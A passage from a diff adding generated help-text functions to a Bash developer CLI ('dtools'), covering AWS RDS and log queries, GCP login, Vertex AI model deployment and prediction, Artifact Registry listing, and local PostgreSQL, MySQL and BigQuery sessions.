%s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "QUERY")" + printf " The query string to query the log groups for\n" + printf " %s\n" "Default: fields @timestamp, @message | sort @timestamp desc" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws logs query-log-groups 'correlationId' --start-time\n '2025-03-18T15:00:00Z' --end-time '2025-03-18T16:00:00Z' --log-group-name\n caerus-api-log-group -l\n /aws/lambda/revisit-prod-revisit-core-historical-schedules-s3-writer-lambda\n" + echo + + fi +} + +# :command.usage +dtools_aws_rds_usage() { + printf "dtools aws rds - RDS commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws rds COMMAND\n" + printf " dtools aws rds [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s List all RDS DB instances for the given account by their name\n" "$(green "list-db-instances") " + printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "fetch-db-connection-details")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_rds_list_db_instances_usage() { + printf "dtools aws rds list-db-instances - List all RDS DB instances for the given account by their name\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws rds list-db-instances [OPTIONS]\n" + printf " dtools aws rds list-db-instances --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_rds_fetch_db_connection_details_usage() { + printf "dtools aws rds fetch-db-connection-details - Fetch the connection details for the given RDS DB instance\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws rds fetch-db-connection-details DB_INSTANCE [OPTIONS]\n" + printf " dtools aws rds fetch-db-connection-details --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "DB_INSTANCE")" + printf " The RDS DB instance name\n" + echo + + fi +} + +# :command.usage +dtools_gcp_usage() { + printf "dtools gcp - GCP commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp COMMAND\n" + printf " dtools gcp [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Log in to GCP using SSO.\n" "$(green "login") " + printf " %s Change GCP project\n" "$(green "project") " + printf " %s Change GCP location\n" "$(green "location") " + printf " %s Get the GCP project number of the specified project\n" "$(green "get-project-number") " + echo + printf "%s\n" "$(bold "Vertex Commands:")" + printf " %s Vertex AI commands\n" "$(green "vertex") " + printf " %s Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n" "$(green "vertex deploy-model") " + printf " %s Query a Vertex endpoint with a prediction request\n" "$(green "vertex predict") " + printf " %s List all Vertex endpoints for the specified project and region\n" "$(green "vertex list-endpoints") " + printf " %s Tail the logs for the given endpoint\n" "$(green "vertex tail-endpoint-logs") " + echo + printf "%s\n" "$(bold "Artifact Registry Commands:")" + printf " %s GCP Artifact Registry commands\n" "$(green "artifacts") " + printf " %s List all repositories in artifact registry for the specified project and location\n" "$(green "artifacts list-repositories")" + printf " %s List all images contained with the specified artifact registry repository\n" "$(green "artifacts list-images") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_login_usage() { + if [[ -n $long_usage ]]; then + printf "dtools gcp login\n\n" + printf " Log in to GCP using SSO.\n This command will also set your 'GCP_PROJECT' and 'GCP_LOCATION' environment\n variables.\n \n This command is essentially a shorthand for the following commands:\n dtools gcp project \n dtools gcp location \n gcloud auth login\n gcloud auth application-default login\n\n" + else + printf "dtools gcp login - Log in to GCP using SSO.\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp login [OPTIONS]\n" + printf " dtools gcp login --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools gcp login -p lab -r us-central1\n" + printf " dtools gcp login --project prod --location africa-south1\n" + printf " # When the 'GCP_PROJECT' and 'GCP_LOCATION' environment variables are already\n # set\n dtools gcp login\n" + echo + + fi +} + +# :command.usage +dtools_gcp_project_usage() { + printf "dtools gcp project - Change GCP project\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp project PROJECT\n" + printf " dtools gcp project --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PROJECT")" + printf " The GCP project to use\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools gcp project lab\n" + echo + + fi +} + +# :command.usage +dtools_gcp_location_usage() { + printf "dtools gcp location - Change GCP location\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp location LOCATION\n" + printf " dtools gcp location --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools gcp location us-central1\n" + echo + + fi +} + +# :command.usage +dtools_gcp_get_project_number_usage() { + printf "dtools gcp get-project-number - Get the GCP project number of the specified project\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp get-project-number PROJECT_NAME\n" + printf " dtools gcp get-project-number --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PROJECT_NAME")" + printf " The name of the project whose number you wish to fetch\n" + echo + + fi +} + +# :command.usage +dtools_gcp_vertex_usage() { + printf "dtools gcp vertex - Vertex AI commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp vertex COMMAND\n" + printf " dtools gcp vertex [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n" "$(green "deploy-model") " + printf " %s Query a Vertex endpoint with a prediction request\n" "$(green "predict") " + printf " %s List all Vertex endpoints for the specified project and region\n" "$(green "list-endpoints") " + printf " %s Tail the logs for the given endpoint\n" "$(green "tail-endpoint-logs")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_vertex_deploy_model_usage() { + if [[ -n $long_usage ]]; then + printf "dtools gcp vertex deploy-model\n\n" + printf " Deploy a model into Vertex AI (assumes only one model is deployed on the given\n endpoint).\n \n This will do the following:\n - Upload the specified model into the Vertex Model Registry\n - Check if an endpoint exists corresponding to the provided name\n - If not, it will create an endpoint\n - Undeploy any pre-existing models on the endpoint (assumes 1 model per\n endpoint)\n - Deploy the new model to the endpoint\n \n Always be sure to build the image first and then push it to the corresponding\n Artifact Registry repo; e.g\n 'docker push us-central1-docker.pkg.dev/prod/serving-docker/alex-test:latest'\n\n" + else + printf "dtools gcp vertex deploy-model - Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp vertex deploy-model [OPTIONS]\n" + printf " dtools gcp vertex deploy-model --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--display-name, -d DISPLAY_NAME (required)")" + printf " Display name of the model.\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--container-image, -c CONTAINER_IMAGE (required)")" + printf " URI of the Model serving container file in the Container Registry (e.g.\n repository/image:latest).\n \n You can list repositories with: dtools gcp artifacts list-repositories\n You can list images with: dtools gcp artifacts list-images \n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--container-port CONTAINER_PORT")" + printf " Container port to receive HTTP requests at\n" + printf " %s\n" "Default: 8080" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--health-route HEALTH_ROUTE")" + printf " HTTP path to send health checks to inside the container\n" + printf " %s\n" "Default: /isalive" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--predict-route PREDICT_ROUTE")" + printf " HTTP path to send prediction requests to inside the container\n" + printf " %s\n" "Default: /predict" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--model-gcs-uri MODEL_GCS_URI")" + printf " Path to the directory containing the Model artifact and any of its\n supporting files.\n \n If undefined, ensure the model image that is being deployed contains the\n model JSON within the image.\n \n Use 'gcloud storage ls gs://' to find the URI of the model artifact\n you wish to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME (required)")" + printf " The name of the endpoint to deploy the model to (will create one if it does\n not already exist)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--machine-type, -m MACHINE_TYPE")" + printf " The machine type to use for the deployed model (e.g. n1-standard-4)\n" + printf " %s\n" "Default: n1-standard-2" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--accelerator ACCELERATOR")" + printf " The type of accelerator to attach to the machine\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools gcp vertex deploy-model --display-name alex-vertex-test\n --container-image serving-docker/alex-vertex-test:latest -e\n alex-vertex-test-endpoint\n" + printf " dtools gcp vertex deploy-model --display-name alex-test --container-image\n serving-docker/alex-test:latest -e alex-test-endpoint --accelerator\n nvidia-tesla-t4\n" + printf " dtools gcp vertex deploy-model --display-name alex-vertex-test\n --container-image serving-docker/alex-vertex-test:latest --model-gcs-uri\n model-training/388781844076/vertex-model-training-pipeline-20250319032739/store-model-in-gcs_1311307013581438976\n -e alex-arrhythmia-test-endpoint\n" + echo + + fi +} + +# :command.usage +dtools_gcp_vertex_predict_usage() { + printf "dtools gcp vertex predict - Query a Vertex endpoint with a prediction request\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp vertex predict [OPTIONS]\n" + printf " dtools gcp vertex predict --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--file, -f FILE")" + printf " The JSON file to query the model with\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME")" + printf " The name of the endpoint to query\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_vertex_list_endpoints_usage() { + printf "dtools gcp vertex list-endpoints - List all Vertex endpoints for the specified project and region\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp vertex list-endpoints [OPTIONS]\n" + printf " dtools gcp vertex list-endpoints --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the gcloud query with full details in JSON format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_vertex_tail_endpoint_logs_usage() { + printf "dtools gcp vertex tail-endpoint-logs - Tail the logs for the given endpoint\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp vertex tail-endpoint-logs ENDPOINT_NAME [OPTIONS]\n" + printf " dtools gcp vertex tail-endpoint-logs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "ENDPOINT_NAME")" + printf " The name of the endpoint whose logs you wish to tail\n" + echo + + fi +} + +# :command.usage +dtools_gcp_artifacts_usage() { + printf "dtools gcp artifacts - GCP Artifact Registry commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp artifacts COMMAND\n" + printf " dtools gcp artifacts [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s List all repositories in artifact registry for the specified project and location\n" "$(green "list-repositories")" + printf " %s List all images contained with the specified artifact registry repository\n" "$(green "list-images") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_artifacts_list_repositories_usage() { + printf "dtools gcp artifacts list-repositories - List all repositories in artifact registry for the specified project and location\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp artifacts list-repositories [OPTIONS]\n" + printf " dtools gcp artifacts list-repositories --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_gcp_artifacts_list_images_usage() { + printf "dtools gcp artifacts list-images - List all images contained with the specified artifact registry repository\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools gcp artifacts list-images REPOSITORY_NAME [OPTIONS]\n" + printf " dtools gcp artifacts list-images --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + printf " %s\n" "Default: us-central1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the images with full details in JSON format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "REPOSITORY_NAME")" + printf " The GCP docker repository whose images you wish to list\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools gcp artifacts list-images serving-docker\n" + echo + + fi +} + +# :command.usage +dtools_db_usage() { + printf "dtools db - Database commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools db COMMAND\n" + printf " dtools db [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Start an interactive Docker container with psql to experiment with PostgreSQL.\n" "$(green "postgres")" + printf " %s Start an interactive Docker container with mysql to experiment with MySQL.\n" "$(green "mysql") " + printf " %s Start a Harlequin session to big query using the specified project\n" "$(green "bigquery")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_db_postgres_usage() { + if [[ -n $long_usage ]]; then + printf "dtools db postgres\n\n" + printf " Start an interactive Docker container with psql to experiment with PostgreSQL.\n The default password is 'password'.\n \n The current directory is also mounted as a read-only volume under '/data' to\n run scripts.\n\n" + else + printf "dtools db postgres - Start an interactive Docker container with psql to experiment with PostgreSQL.\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools db postgres [OPTIONS]\n" + printf " dtools db postgres --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--dump")" + printf " Dump the persistent DB into a single large SQL script\n" + printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml, --schema" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" + printf " Specify the persistence directory ($HOME/.db/postgres/) to load/wipe\n the DB from\n" + printf " %s\n" "Default: default" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--dump-to-dbml")" + printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" + printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--schema, -s SCHEMA (repeatable)")" + printf " Specify the schema to dump\n" + printf " %s\n" "Needs: --dump-to-dbml, --database" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--tui")" + printf " Open the DB in a TUI (harlequin)\n" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent")" + printf " Persist the DB data to disk (persists to ~/.db/postgres)\n" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wipe-persistent-data")" + printf " Wipe any persistent data from the disk before starting the container\n" + printf " %s\n" "Needs: --persistent" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--database DATABASE")" + printf " Specify the name of the databaose to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--port PORT")" + printf " Specify the host port to expose the DB on\n" + printf " %s\n" "Default: 5432" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_db_mysql_usage() { + if [[ -n $long_usage ]]; then + printf "dtools db mysql\n\n" + printf " Start an interactive Docker container with mysql to experiment with MySQL.\n The default password is 'password'.\n \n The current directory is also mounted as a read-only volume under '/app' to\n run scripts.\n\n" + else + printf "dtools db mysql - Start an interactive Docker container with mysql to experiment with MySQL.\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools db mysql [OPTIONS]\n" + printf " dtools db mysql --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" + printf " Specify the persistence directory ($HOME/.db/mysql/) to load/wipe the\n DB from\n" + printf " %s\n" "Default: default" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--dump")" + printf " Dump the persistent DB into a single large SQL script\n" + printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--dump-to-dbml")" + printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" + printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--tui")" + printf " Open the DB in a TUI (harlequin)\n" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent")" + printf " Persist the DB data to disk (persists to ~/.db/mysql)\n" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wipe-persistent-data")" + printf " Wipe any persistent data from the disk before starting the container\n" + printf " %s\n" "Needs: --persistent" + printf " %s\n" "Conflicts: --dump" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--database DATABASE")" + printf " Specify the name of the databaose to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--port PORT")" + printf " Specify the host port to expose the DB on\n" + printf " %s\n" "Default: 3306" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_db_bigquery_usage() { + printf "dtools db bigquery - Start a Harlequin session to big query using the specified project\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools db bigquery [OPTIONS]\n" + printf " dtools db bigquery --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--project, -p PROJECT (required)")" + printf " The GCP project to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--location, -l LOCATION")" + printf " The GCP location to use\n" + printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, 